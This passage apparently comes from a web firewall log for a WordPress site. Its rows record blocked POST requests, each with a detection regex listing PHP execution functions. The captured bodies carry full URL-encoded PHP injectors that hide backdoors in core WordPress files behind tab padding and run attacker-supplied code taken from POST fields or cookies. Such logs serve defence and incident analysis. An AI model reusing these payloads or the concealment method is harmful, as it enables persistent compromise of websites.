ter_group%2529%253B%2520if%2520%2528file_put_contents%2528%2524symbol%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524symbol%253B%2520%2540unlink%2528%2524symbol%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524flag%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\ncontent-length:4119\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH0xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nSI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522m%255Cx72k%2522%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72k%2522%255D%2529%253B%2520%2524key%253D%2520%2527%2527%253B%2520for%2528%2524d%253D0%253B%2520%2524d%253Cstrlen%2528%2524data_chunk%2529%253B%2520%2524d%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524d%255D%2529%2520%255E%252064%2529%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524property_set%255B%2524flag%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524flag%2520%253E%253D%2520count%2528%2524property_set%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524parameter_group%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524parameter_group%2529%253B%2520if%2520%2528file_put_contents%2528%2524symbol%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524symbol%253B%2520%2540unlink%2528%2524symbol%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524flag%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:58:45","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522m%255Cx72k%2522%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72k%2522%255D%2529%253B%2520%2524key%253D%2520%2527%2527%253B%2520for%2528%2524d%253D0%253B%2520%2524d%253Cstrlen%2528%2524data_chunk%2529%253B%2520%2524d%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524d%255D%2529%2520%255E%252064%2529%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524property_set%255B%2524flag%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524flag%2520%253E%253D%2520count%2528%2524property_set%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524parameter_group%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524parameter_group%2529%253B%2520if%2520%2528file_put_contents%2528%2524symbol%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524symbol%253B%2520%2540unlink%2528%2524symbol%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524flag%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4119\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoJVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nmb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522m%255Cx72k%2522%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72k%2522%255D%2529%253B%2520%2524key%253D%2520%2527%2527%253B%2520for%2528%2524d%253D0%253B%2520%2524d%253Cstrlen%2528%2524data_chunk%2529%253B%2520%2524d%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524d%255D%2529%2520%255E%252064%2529%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524property_set%255B%2524flag%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524flag%2520%253E%253D%2520count%2528%2524property_set%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524parameter_group%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524parameter_group%2529%253B%2520if%2520%2528file_put_contents%2528%2524symbol%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524symbol%253B%2520%2540unlink%2528%2524symbol%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524flag%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:58:49","190.0.230.22","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522m%255Cx72k%2522%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72k%2522%255D%2529%253B%2520%2524key%253D%2520%2527%2527%253B%2520for%2528%2524d%253D0%253B%2520%2524d%253Cstrlen%2528%2524data_chunk%2529%253B%2520%2524d%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524d%255D%2529%2520%255E%252064%2529%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524property_set%255B%2524flag%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524flag%2520%253E%253D%2520count%2528%2524property_set%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524parameter_group%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524parameter_group%2529%253B%2520if%2520%2528file_put_contents%2528%2524symbol%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524symbol%253B%2520%2540unlink%2528%2524symbol%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524flag%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4142\nhost:dewenlabels.com\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-customize-setting.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522m%255Cx72k%2522%2529%2529%257B%2520%2524data_chunk%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72k%2522%255D%2529%253B%2520%2524key%253D%2520%2527%2527%253B%2520for%2528%2524d%253D0%253B%2520%2524d%253Cstrlen%2528%2524data_chunk%2529%253B%2520%2524d%252B%252B%2529%257B%2524key%2520.%253D%2520chr%2528ord%2528%2524data_chunk%255B%2524d%255D%2529%2520%255E%252064%2529%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%255D%2529%253B%2520%2524flag%2520%253D%25200%253B%2520do%2520%257B%2520%2524parameter_group%2520%253D%2520%2524property_set%255B%2524flag%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524flag%2520%253E%253D%2520count%2528%2524property_set%2529%2529%2520break%253B%2520if%2520%2528%2528function%2528%2524d%2529%2520%257B%2520return%2520is_dir%2528%2524d%2529%2520%2526%2526%2520is_writable%2528%2524d%2529%253B%2520%257D%2529%2528%2524parameter_group%2529%2529%2520%257B%2520%2524symbol%2520%253D%2520sprintf%2528%2522%2525s\/.k%2522%252C%2520%2524parameter_group%2529%253B%2520if%2520%2528file_put_contents%2528%2524symbol%252C%2520%2524key%2529%2529%2520%257B%2520include%2520%2524symbol%253B%2520%2540unlink%2528%2524symbol%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%2524flag%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 21:58:53","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hs:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Locator.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B31%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D2%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B31%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B31%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B2%252B1%253B%257D%2524k%253D%2524p%255B14%255D%2528%2529.%2524p%255B29%255D%253Bif%2528%2521%2524p%255B5%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B6%255D%2528%2524k%252C%2524p%255B18%255D%2529%253B%2524p%255B3%255D%2528%2524n%252C%2524p%255B17%255D.%2524p%255B20%255D%2528%2524p%255B16%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:3250\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFUZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 